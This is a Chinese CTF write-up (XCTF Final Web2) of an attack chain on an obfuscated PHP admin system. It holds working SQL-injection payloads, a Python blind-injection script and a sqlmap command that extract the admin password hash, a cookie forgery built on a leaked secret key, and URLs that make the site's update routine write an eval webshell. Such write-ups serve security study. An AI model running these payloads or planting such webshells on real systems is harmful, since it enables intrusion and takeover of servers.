kss admin index.php,XCTF Final Web2 Writeup

转载

WngWai 于 2021-03-11 22:29:57 发布 200 收藏
文章标签： kss admin index.php

BUPG

环境还没关，复现记得修改下host 159.138.22.212 guaika.txmeili.com

这题我们在比赛的时候利用的漏洞链是：sql注入+cookie伪造+后台getshell

解题思路

sql注入

代码位于 kss_inc/payapi_return2.php

关键代码：

这里的post参数没有调用该框架的sql过滤器，只是进行简单的trim()处理

```
else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGlio4\x00 == "e138" )
{
$_obfuscate_kpGPh4mNh46SkZONh4eLlJU\x00 = "";
$_obfuscate_k42NkY2RkoiNjJCKlZSKilg\x00 = trim( $_POST['SerialNo'] );
$_obfuscate_iJWMjIiVi5OGjJOViY2Li48\x00 = $_obfuscate_k42NkY2RkoiNjJCKlZSKilg\x00;
$_obfuscate_iluQkYaUioqGll6IjluMiI8\x00 = trim( $_POST['Status'] );
$_obfuscate_jpGJk5SSkJOlk4iQiI_OhpU\x00 = trim( $_POST['Money'] );
$_obfuscate_IluQk5OGjpKVjY6UiI_QjJM\x00 = $_obfuscate_jpGJk5SSkJOlk4iQiI_OhpU\x00;
$_obfuscate_iImJjYmQjYyOjIuVkIuMjIs\x00 = trim( $_POST['VerifyString'] );
```

VerifyString的计算规则

```
else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGlio4\x00 == "e138" )
{
$_obfuscate_k4mJh5SPkY6Vh4qHjIaJh44\x00 = TRUE;
if ( $_obfuscate_iImJjYmQjYyOjIuVkIuMjIs\x00 != strtolower( md5(
"SerialNo=".$_obfuscate_k42NkY2RkoiNjJCKlZSKilg\x00."&UserID=".$_obfuscate_jI2JlY_QkoeQj5OLjouLlYo\x00[
) ) )
{
$_obfuscate_k4mJh5SPkY6Vh4qHjIaJh44\x00 = FALSE;
}
```

因为设置了AttachString=e138

所以$_obfuscate_jI2JIY_QkoeQj5OLjouLIYo\u0000['e138set']值为1

所以VerifyString的值为
strtolower(md5('SerialNo=1&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1'))

即为ebd95c4233e8c02fe0854306afd71bee

但其实我们只要把参数都找到就ok了，因为不会先验证VerifyString，而是先验证SerialNo和Money参数

造成sql注入的代码如下：

```
$_obfuscate_lZGQj4iOj4mTlZGNjZGUj5E\u0000 = $_obfuscate_jlaUileSjZWKlIqLklqOioc\u0000->_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA\u0000( "select * from kss_tb_order where ordernum='".$_obfuscate_iJWMjliVi5OGjJOViY2Li48\u0000."'" );
```

```
SerialNo=0'or(0)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95
```

```
SerialNo=1'or(1)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95
```

image.png

image.png

尝试注入得到admin的密码

kss_inc/db_function.php 中可以看到登陆逻辑

```
if ( empty( $_obfuscate_IlqUIlaMj4aNjJCRkoeJlJE\u0000 ) )

{

$_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k\u0000 = $_obfuscate_jlaUileSjZWKlIqLklqOioc\u0000->_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA\u0000( "select * from kss_tb_manager where id=1" );

if ( $_obfuscate_IlqUIlaMj4aNjJCRkoeJlJE\u0000 != md5( $_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k\u0000['username'].$_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k\u0000['pass
) )
```

```
{

_obfuscate_kYyOhouLjo2Gh4eNj4iQIlg\u0000( "你的原始身份效验失败！" );

}

$_obfuscate_Il6OiJSPjZWVi5GQhoiPjpU\u0000['level'] = 9;

$_obfuscate_Il6OiJSPjZWVi5GQhoiPjpU\u0000['powerlist'] = "admin";

}
```

表名是 kss_tb_manager，字段是username和password，id是1

注入脚本 aye.py

```
#! coding:utf-8

import requests

import sys

if sys.getdefaultencoding() != 'utf-8':

reload(sys)

sys.setdefaultencoding('utf-8')

def main():

url="http://guaika.txmeili.com:8888/kss_inc/payapi_return2.php"

chars = 'abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ=+-*/{\}?!:@#$%&()
[],. '

result=''

for i in range(1,1000):

i =str(i)

for j in chars:

j=ord(j)

#SerialNo=0'or(1)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd9

payload =
"""0'or(ascii(substr((select(concat(username,0x3a,password))from(kss_tb_manager)where(id=1)),%s,1))=%s)#"
(i,j)

data = {'SerialNo': payload,

'UserID' : 1,

'Money' : 100,

'Status' : 1,

'AttachString' : 'e138',

'MerchantKey' : 1,

'VerifyString' : 'ebd95c4233e8c02fe0854306afd71bee',

}

#print payload

do_whlie = True

while do_whlie:
```

```
try:
r=requests.post(url,data=data)
if r.status_code == 200:
do_whlie = False
except Exception as e:
print str(e)
#print r.text
if '订单金额不符' in r.text:
result += chr(j)
#print r.text
print result
if __name__ == "__main__":
main()
```

image.png

得到账号密码：

axing:8ccf03839a8c63a3a9de17fa5ac6a192

密码在somd5解密得到axing147258

但是登陆不了。。。。赛后跟出题人交流才知道，他把管理员的密码和安全码最后一个字节改了，坑爹的是cmd5和somd5只是取了md5中间的16位进行相似匹配，允许误差

image.png

image.png

所以数据库92结尾的md5是反解不了的

这里也可以用sqlmap直接跑，就是要加上一些参数，不然跑不出来

```
sqlmap -r burp.txt -p SerialNo --dbms mysql --risk 3 --level 5 --string="订单金额不符" --technique B
```

```
POST /kss_inc/payapi_return2.php HTTP/1.1
Host: guaika.txmeili.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 123

SerialNo=0&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233

cookie伪造

位于kss_inc/function.php

有setcookie_function(包含禁ip的逻辑)

function _obfuscate_jZKVlY6HkYmKklyRj4qSjlc�($_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�, $_obfuscate_ipCJlJOSlJSQkYqNlYqKlls�)

{

setcookie($_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�, $_obfuscate_ipCJlJOSlJSQkYqNlYqKlls�, 0, "/", NULL, NULL, TRUE);

if (BINDIP == 1)

{

setcookie($_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�."_ver", md5($_obfuscate_ipCJlJOSlJSQkYqNlYqKlls�.COOKKEY._obfuscate_jZKKjpCGkZSUj4aOilePlZl�( )), 0, "/", NULL, NULL, TRUE);

}

else

{

setcookie($_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�."_ver", md5($_obfuscate_ipCJlJOSlJSQkYqNlYqKlls�.COOKKEY), 0, "/", NULL, NULL, TRUE);

}

return $_obfuscate_ipCJlJOSlJSQkYqNlYqKlls�.COOKKEY;

}

位于kss_admin/index.php

调用了setcookie_function

_obfuscate_jZKVlY6HkYmKklyRj4qSjlc�("kss_manager", $_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU�);

$_obfuscate_jlaUileSjZWKIlqLklqOioc�->_obfuscate_kpSOj5KVio2Hj4uKj4_KjIY�("update kss_tb_manager set `linecode`='".$_obfuscate_kl6PjYmLhpGMk4qGjZSHIlg�."',`lastlogintime`='"._obfuscate_jZGJkpOSkY_HiY2Hj`)."',`lastloginip`=".$_obfuscate_kYmJjZOliZKJioqMkoaGiYk�." where `id`=".$_obfuscate_kY_OlYeUIliVjo6Hio_MkpI�['id'], "notsync");

$_obfuscate_i4mRjZCJlZCGk4_UioyHk4k�['logintype'] = 1;

_obfuscate_jYuKk4uOiYmSkpOTj5GUlZA�($_obfuscate_i4mRjZCJlZCGk4_UioyHk4k�);

$_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU� = $_obfuscate_kY_OlYeUIliVjo6Hio_MkpI�['id']."|".$_obfuscate_h4eSk4uGiZCKhoyNkliTll8�."|".md5($_obfuscate_jZOliliJkJOGiY_KjoaGh4c�)."|".$_obfuscate_kl6PjYmLhpGMk4qGjZSHIlg�;

_obfuscate_jZKVlY6HkYmKklyRj4qSjIc�("kss_manager", $_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU�);

其实就是调用了

setcookie_function("kss_manager",$id."|".$username."|".md5($password)."|".$linecode"

然后执行两句setcookie，得到kss_manager和kss_manager_ver两个cookie

setcookie($_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�, $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�, 0, "/", NULL, NULL, TRUE);

setcookie($_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�."_ver", md5($_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�.COOKKEY), 0, "/", NULL, NULL, TRUE)

并且在 kss_inc/_config.php找到$COOKKEY的值 XlpCcfoe_y43

define("COOKKEY", "XlpCcfoe_y43");

define("COOKKEY2", "MGHOu2m|oXDz");

也在 kss_inc/db_function.php

找到了$linecode的值 efefefef

if ($_obfuscate_Il6OiJSPjZWVi5GQhoiPjpU�['linecode'] != $_obfuscate_h4_NjYiIi46Lh5KHkoaKkZQ�[3] && "efefefef" != $_obfuscate_h4_NjYiIi46Lh5KHkoaKkZQ�[3] && $_obfuscate_Il6OiJSPjZWVi5GQhoiPjpU�['username'] != "test01")

{

_obfuscate_kYyOhouLjo2Gh4eNj4iQIlg�("您的帐号被挤下线，请重新登陆");

}

所以最终的两个cookie的键值分别是

kss_manager

1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef

kss_manager_ver

md5("1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef"."XlpCcfoe_y43")

即为

md5("1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefefXlpCcfoe_y43")

即为

b05a94ffcb3da369a828235012990953

成功伪造cookie，访问 kss_admin/admin.php

image.png

浏览器替换cookie

image.png

后台getshell

代码位于 kss_admin/admin_update

这个网站的更新，是从远端主站拉取代码写入本地:

```
$_obfuscate_koiKkliPjl6UkYeRIlqNhoc= _obfuscate_lY6Gk5KMkYmPjlyPhpCOlYc(
"http://api.hphu.com/import/".$_obfuscate_koaSiYqGjlqMiZSLk4uGiZU.".php?
phpver=".PHP_VERSION."&webid=".WEBID."&rid=".time( ), 300 );
```

我们跟入_obfuscate_lY6Gk5KMkYmPjlyPhpCOlYc函数

位于第20行，函数中有curl相关的操作

```
curl_setopt( $_obfuscate_joiNh4alhouViZGQho_Jil4, CURLOPT_HEADERFUNCTION, "read_header" );

curl_setopt( $_obfuscate_joiNh4alhouViZGQho_Jil4, CURLOPT_WRITEFUNCTION, "read_body" );
```

看下read_body函数

```
function read_body( $_obfuscate_joiNh4alhouViZGQho_Jil4, $_obfuscate_jJWMiJWJjoylkYmLjY6VipM )

{

global $_obfuscate_ko6MhoiQkJKRlYeVio_JjYo;

global $_obfuscate_j4eNjZOQlluKhoqMj4mOjYs;

global $_obfuscate_koaSiYqGjlqMiZSLk4uGiZU;

if ( $_obfuscate_ko6MhoiQkJKRlYeVio_JjYo == 0 && substr( $_obfuscate_jJWMiJWJjoylkYmLjY6VipM,
0, 2 ) == "

{

$_obfuscate_j4eNjZOQlluKhoqMj4mOjYs = 0;

}

$_obfuscate_ko6MhoiQkJKRlYeVio_JjYo += strlen( $_obfuscate_jJWMiJWJjoylkYmLjY6VipM );
```

file_put_contents(KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php", $_obfuscate_jJWMiJWJjoylkYmLjY6VipM&#65533;, FILE_APPEND);

echo "";

echo "\r\n";

ob_flush( );

flush( );

return strlen($_obfuscate_jJWMiJWJjoylkYmLjY6VipM&#65533;);

}

其中read_body函数会将curl到的内容写到 kss_tool/_webup.php

file_put_contents(KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php", $_obfuscate_jJWMiJWJjoylkYmLjY6VipM&#65533;, FILE_APPEND);

这里我们可以利用代码中的sql过滤器，去触发某个页面的sql报错，从而将php代码回显，从而将恶意代码写入 kss_tool/_webup.php，构造webshell

例子：

构造sql报错并回显

http://api.hphu.com/test/kss_admin/index.php?action=aye666%27

image.png

构造更新路径

将报错的页面内容写入 kss_tool/_webup.php

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action=aye666%27

image.png

触发phpinfo

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php %2520phpinfo();?>

image.png

写shell

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php %2520eval($_POST[aye]);echo%2520"aye666"?>

image.png

image.png

连接菜刀：http://guaika.txmeili.com:8888/kss_tool/_webup.php

image.png

get flag

image.png

总结

膜拜出题人rr师傅

膜拜De1ta的web师傅们

混淆代码的审计，真TM恶心